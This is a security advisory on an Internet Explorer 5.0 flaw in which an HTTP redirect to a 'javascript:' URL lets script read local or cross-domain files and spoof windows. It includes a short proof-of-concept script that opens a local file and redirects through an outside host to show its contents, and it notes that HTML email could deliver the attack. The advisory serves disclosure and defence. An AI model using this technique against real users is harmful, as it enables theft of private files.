IE 5.0 allows reading local (and from any domain) files and window spoofing using HTTP redirection to "javascript:"

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (suppose Win98 is vulnerable)
allows reading local files and text/HTML files from any domain. Window spoofing is possible.
It is also possible in some cases to read files behind fiewall.

Details:

The problem is a HTTP redirect to "javascript:" URLs.
If you open a local file and the change its location to an URL that redirects to "javascript:JavaScript code"
then the JavaScript code is executed in the security context of the original local file and has access to its DOM.
The local file may be sent to an arbitrary server.
In a similar way one may do window spoofing.
This vulnerability may be exploited using HTML email message or a newsgroup posting.

The code is:
----------------------------------------------------------------------------------------
<SCRIPT>
alert("Create a short text file C:\\TEST.TXT and it will be read and shown in a dialog box");
a=window.open("file://c:/test.txt");
a.location="http://www.guninski.com/reject.cgi?jsredir1";
</SCRIPT>
// "http://www.guninski.com/reject.cgi?jsredir1" just does a HTTP redirect to: "javascript:alert(document.body.innerText)"
----------------------------------------------------------------------------------------

Workaround:
Disable Active Scripting

Demonstration is available at jsredir1.html